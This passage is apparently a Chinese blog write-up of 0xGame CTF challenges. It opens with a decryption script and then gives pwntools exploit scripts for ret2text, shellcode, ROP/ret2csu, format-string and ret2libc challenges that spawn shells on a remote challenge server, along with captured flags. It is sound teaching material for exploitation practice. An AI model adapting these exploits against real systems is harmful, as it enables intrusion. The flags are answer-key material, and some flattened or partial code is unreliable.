result = [ 0xBA, 0xC5, 0x87, 0x89, 0x53, 0x15, 0x1B, 0x44, 0x13, 0xFA,0xD5, 0xBD, 0x48, 0xEA, 0xEE, 0x70, 0x81, 0xD0, 0x18, 0xD6,0x3B, 0x1E, 0x7F, 0xC2, 0x7A, 0xE4, 0x17, 0xFD, 0x78, 0xA6,0x01, 0xAF, 0x5F, 0x3B, 0x98, 0x6A, 0xEA, 0xA9, 0x97, 0xE9]
box = [0]*256
word = "0xgame"
for i in range(256):
box[i] = i
j = 0
#for i in range(256):
# print(hex(box[i]),end=' ')
print('\n')
for i in range(256):
j = (j + box[i] + ord(word[i%6]))%256
box[i],box[j] = box[j] , box[i]
#for i in range(256):
# print(hex(box[i]),end=' ')
z=0
i = 0
length = len(result)
while length!=0:
i = (i + 1)%256
j = (j + box[i]) %256
box[i],box[j] = box[j],box[i]
t = (box[i] + box[j]) %256
#print(hex(t),end=' ')
#print(hex(box[t]),end='\n')
result[z] = result[z] ^ box[t]
#print(hex(result[z]),end=' ')
z = z+1
length = length -1
#for i in range(len(result)):
# print(hex(result[i]),end=',')
for i in range(len(result)):
result[i] = result[i] ^ ord(word[i%6])
s = ''.join(chr(result[i]) for i in range(len(result)))
print(s)
print(b64decode(s))

运行得到

最后flag为

1
0xgame{t1s_1s_f1r5t_tha0_main}

pwn

欢迎来到0xGame平台

pwn需要远程交互,所以我们需要用nc连接题目,连上题目后会返回一个shell,然后就是cat flag,用cat 命令
读取flag文件

最后flag为

1
flag{083209dc5b3187bda8d2d4865588926b}

帮我取一个题目名称

ret2text,栈空间有0x20大小,然后8字节覆盖rbp位置,再覆盖返回地址为shell函数的地址

exp:

1
2
3
4
5
from pwn import* 
p = remote('49.232.142.230',10336)
payload = b'a' * (0x20+8) + p64(0x401172)
p.sendline(payload)
p.interactive()

运行得到

最后flag为

1
flag{6d6435d64c98f13a140969f2823f5a74}

该怎么起名呢

shellcode,因为题目是让我们执行shellcode,而程序是64位的,pwntools生成的shellcode默认是32位,所
以需要设置一下架构 context.arch=’AMD64’
然后前面填充0x20个字节,再加上shellcode

exp:

1
2
3
4
5
6
7
from pwn import* 
context.arch = 'AMD64'
p = remote('49.232.142.230',12201)
payload = b'a' * 32 + asm(shellcraft.sh())
p.recvuntil('shellcode')
p.sendline(payload)
p.interactive()

运行得到

最后flag为

1
flag{6f7310530c7b2330d0dd7a2d31154c34}

variable overlap

变量覆盖,观察下ida中,%lld可以向一个地址写入一个8字节长的十进制数,而后面判断某个变量是否值为
0x2333,而这个变量距离前面的地址只有四个字节,所以当我们写入一个十进制数,那么这个十进制数在内
存中的前四个字节会把判断是否为0x2333的变量值给覆盖掉

exp:

1
2
3
4
from pwn import*
p = remote('49.232.142.230',16108)
p.sendline(str(0x233300000000))
p.interactive()

运行得到

最后flag为

1
flag{50605a49bb7bd35233bb3a3ea4fd8f59}

easy stack

32位程序传参
read原型是
ssize_t read(int fd, void *buf, size_t count);
attempts to read up to count bytes from file descriptor fd
into the buffer starting at buf.
第一个参数是文件描述符,fd写0,表示标准输入
第二个参数是把数据写入的起始地址
第三个参数是可以写入的数据字节数
我们可以发现read的三个参数在栈最前面依次排列着

1
2
3
00:0000│ esp 0xffffcfe0 ◂— 0x0
01:0004│ 0xffffcfe4 —▸ 0xffffcff0 ◂— 0x0
02:0008│ 0xffffcfe8 ◂— 0x100

然后我们再观察ebp的值 EBP 0xffffd078 —▸ 0xffffd088 ◂— 0x0
因为通常返回地址是储存在ebp下方,所以计算一下 0xffffd078 - 0xffffcff0 = 0x88 < 0x100
所以存在溢出,然后nc连接上题目发现回显了一个函数的地址
多尝试连接几次,发现这个地址是随机的
这个地址不清楚做什么的,所以先将接受到的地址保存到本地变量中,然后 前面 填充 0x88 + 4 个字节,再
把接受到的地址将返回地址给修改掉
然后远程则是回显了一个flag

exp:

1
2
3
4
5
6
from pwn import* 
p = remote('49.232.142.230',11155)
p.recvuntil('magic_address ')
shell = int(p.recv(10),16)
p.send(b'a' * (0x88+4) + p32(shell))
p.interactive()

运行得到

最后flag为

1
flag{9fc49afadb46f6bfa692923bf68fa7ac}

0xPwn

题目有两次输入,一次是写入8个字节到bss段上,一次是具有栈溢出的漏洞,此外,我们能够发现,main函数
中有一个打印函数是调用的libc函数system执行echo打印的,所以程序中存在plt表,我们可以利用
pwntools中的ELF函数加载main函数的符号表,然后通过plt[‘func’]获取某个libc函数的plt表地址,通过调
用plt表,与调用函数其实并无太大差别,因为text代码段中调用某个libc函数的时候,也是call func@plt,最终
也是跳转到这个函数的plt表位置,所以我们可以调用system函数的plt表来调用system函数,此外就是需要
控制system函数的参数位置,所以我们第一次可以写入8个字节到bss段上,只要写一个/bin/sh字符串到
bss段, 而附件并没有开启PIE保护,所以可以找到bss段上/bin/sh字符串的位置作为system函数的第一个
参数

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context(arch='i386', os='linux', log_level='debug')

# 只保留一个连接方式
# p = process('./main') # 本地测试时使用
p = remote('49.232.142.230', 12410) # 远程连接

elf = ELF('./main')

# 使用字节字符串并指定地址
bss_addr = 0x0804C00C # 存储 /bin/sh 的地址 (根据你的二进制调整)

# 发送 /bin/sh 到 .bss 段
p.sendafter(b'argument?', b'/bin/sh\x00')

# 构造 payload (全部使用 bytes)
payload = b'\x00'*0x8C # 填充缓冲区
payload += p32(elf.plt['system']) # system@plt
payload += p32(0) # 返回地址 (任意值)
payload += p32(bss_addr) # /bin/sh 的地址参数

# 发送 payload
p.sendlineafter(b'Name', payload)

# 切换到交互模式
p.interactive()

运行得到

最后flag为

1
flag{dde8de0163b86d9836e043839ee74cfe}

Pwn题滞销,帮帮我好吗_

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# 只保留一个连接方式
p = remote('49.232.142.230', 15647) # 远程连接

# 设置gadget地址(根据你的二进制调整)
pop_rax_syscall = 0x401153
gadget_I = 0x4011F2 # 可能是 __libc_csu_init 的 gadget
gadget_Ii = 0x4011D8 # 可能是 __libc_csu_init 的第二个 gadget

# 加载二进制文件
elf = ELF('./main')

# 构造 payload (全部使用 bytes 类型)
payload = b'U'*0x28 # 填充缓冲区

# 第一部分:调用函数泄露地址或设置参数
payload += p64(gadget_I)
payload += p64(0) # rbx
payload += p64(1) # rbp (设置为1,使后面能ret)
payload += p64(0x402016) # r12 (函数指针)
payload += p64(0) # r13 -> rdi
payload += p64(0) # r14 -> rsi
payload += p64(elf.got['alarm']) # r15 -> rdx

# 第二部分:调用函数
payload += p64(gadget_Ii)
payload += p64(0)*7 # 填充栈空间

# 第三部分:设置execve参数
payload += p64(pop_rax_syscall)
payload += p64(59) # execve的系统调用号

# 发送 payload
p.sendline(payload)

# 切换到交互模式
p.interactive()

运行得到

最后flag为

1
flag{9991ce1b407a66396c1767e92f593e8c}

0xPwn2

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# 连接目标
p = remote('49.232.142.230', 14969)

# 加载二进制文件
elf = ELF('./main')

# 设置关键gadget地址
m_gadget = 0x401332 # __libc_csu_init 的第一个gadget (pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret)
n_gadget = 0x401318 # __libc_csu_init 的第二个gadget (mov rdx, r14; mov rsi, r13; mov edi, r12d; call [r15+rbx*8])
pop_rdi_ret = 0x40133B # pop rdi; ret

# 计算BSS段地址
bss_addr = elf.bss() + 0x50

# 构造payload
payload = b'A'*0x58 # 填充缓冲区

# 第一部分:设置通用gadget参数
payload += p64(m_gadget)
payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1 (这样在n_gadget中执行一次后就会跳出循环)
payload += p64(0) # r12 -> edi (fd = stdin)
payload += p64(bss_addr) # r13 -> rsi (buf地址)
payload += p64(8) # r14 -> rdx (读取长度)
payload += p64(elf.got['read']) # r15 -> 调用的函数 (read的GOT地址)

# 第二部分:调用通用gadget执行read函数
payload += p64(n_gadget)
payload += p64(0)*7 # 填充栈空间 (7个64位值)

# 第三部分:调用system("/bin/sh")
payload += p64(pop_rdi_ret)
payload += p64(bss_addr) # rdi = /bin/sh字符串地址
payload += p64(elf.plt['system'])

# 发送payload
p.sendlineafter(b'Time!', payload)

# 发送"/bin/sh"字符串(不带换行符)
p.send(b'/bin/sh\x00')

# 切换到交互模式
p.interactive()

运行得到

最后flag为

1
flag{a88f8d0f5208482379eb08172ad81721}

easyfmt

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# 连接目标
p = remote('49.232.142.230', 17835)

# 目标地址
target_addr = 0x404050
log.info(f"Target address: {hex(target_addr)}")
log.info(f"Value to write: {hex(0x233)}")

# 构造payload
# 第一部分:格式化字符串
fmt_str = f'%{0x233}c%8$n' # 输出563字符并写入第8个参数指向的地址
log.info(f"Format string: {fmt_str}")

# 填充到16字节
payload = fmt_str.encode().ljust(0x10, b'\x00')
log.info(f"Payload after fill: {payload.hex()}")

# 添加目标地址
payload += p64(target_addr)
log.info(f"Full payload ({len(payload)} bytes): {payload.hex()}")

# 发送payload
p.sendline(payload)

# 切换到交互模式
p.interactive()

运行得到

最后flag为

1
flag{86396e452022d0c90083dba61c9b3dac}

fmt

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# p = process('./main')
p = remote('49.232.142.230',19048)

# 目标地址和需要写入的值
target_addr = 0x404060
values = [0x46, 0x4D, 0x59, 0x59] # 'F','M','Y','Y'

# 构造格式化字符串
fmt_str = ""
current_count = 0

# 按值从小到大顺序写入(避免回绕)
for i, value in enumerate(sorted(enumerate(values), key=lambda x: x[1])):
idx, val = i, value[1]
if val < current_count:
# 处理回绕(0-255循环)
needed = 256 + val - current_count
else:
needed = val - current_count

# 添加格式化字符串部分
if needed > 0:
fmt_str += f'%{needed}c'

# 添加写入指令(偏移量从11开始)
fmt_str += f'%{11+idx}$hhn'
current_count = val

# 填充到0x30字节(48字节)
payload = fmt_str.encode().ljust(0x30, b'\x00')

# 按写入顺序添加地址(与sorted顺序一致)
for idx in [i[0] for i in sorted(enumerate(values), key=lambda x: x[1])]:
payload += p64(target_addr + idx)

log.info(f"Payload length: {len(payload)} bytes")
log.info(f"Payload: {payload.hex()}")

# 发送payload
p.sendline(payload)

# 切换到交互模式(如果成功写入"FMYY"将获得shell)
p.interactive()

运行得到

最后flag为

1
flag{9c9f79bcd7aa34c19008fab094882978}

不会起名的废物

栈溢出漏洞利用ret2libc来获取共享库中的地址,pop_rdi_ret讲某个函数的got表地址交给rdi寄存器, 然后调用
puts函数的plt表项打印出rdi指针对应的地址里面的数据,从而可以拿到这个函数在经过延迟绑定后存放
在got表里面的libc共享库地址,打印后再返回到漏洞函数,将拿到的这个地址再减去这个函数在libc文件中
的偏移,即可拿到libc的基地址,再通过基地址拿到其他函数此时的地址即可构造一个 system(‘/bin/sh’)的
ROP从而getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# 只保留一个连接方式
# p = process('./main') # 本地测试时使用
p = remote('49.232.142.230', 14326)

# 加载二进制文件和libc
elf = ELF('./main')
libc = ELF('./libc-2.23.so')

# 获取关键gadget地址
pop_rdi_ret = 0x40127B
main_addr = 0x4011FB # 用于返回到main函数重新执行

# 第一部分:泄露puts@got地址
payload = b'U'*0x28 # 填充缓冲区
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main_addr) # 返回到main函数重新执行

p.sendlineafter(b"GOT?\n", payload)

# 接收泄露的地址
leak = p.recvline().strip().ljust(8, b'\x00')
puts_addr = u64(leak)
log.info(f"puts@got: {hex(puts_addr)}")

# 计算libc基址
libc_base = puts_addr - libc.sym['puts']
log.info(f"libc base: {hex(libc_base)}")

# 计算system和/bin/sh地址
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.info(f"system: {hex(system_addr)}")
log.info(f"/bin/sh: {hex(binsh_addr)}")

# 第二部分:调用system("/bin/sh")
payload = b'U'*0x28
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendlineafter(b"GOT?\n", payload)

# 切换到交互模式
p.interactive()

运行得到

最后flag为

1
flag{3866f694b58795044036d466cb05398a}

文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录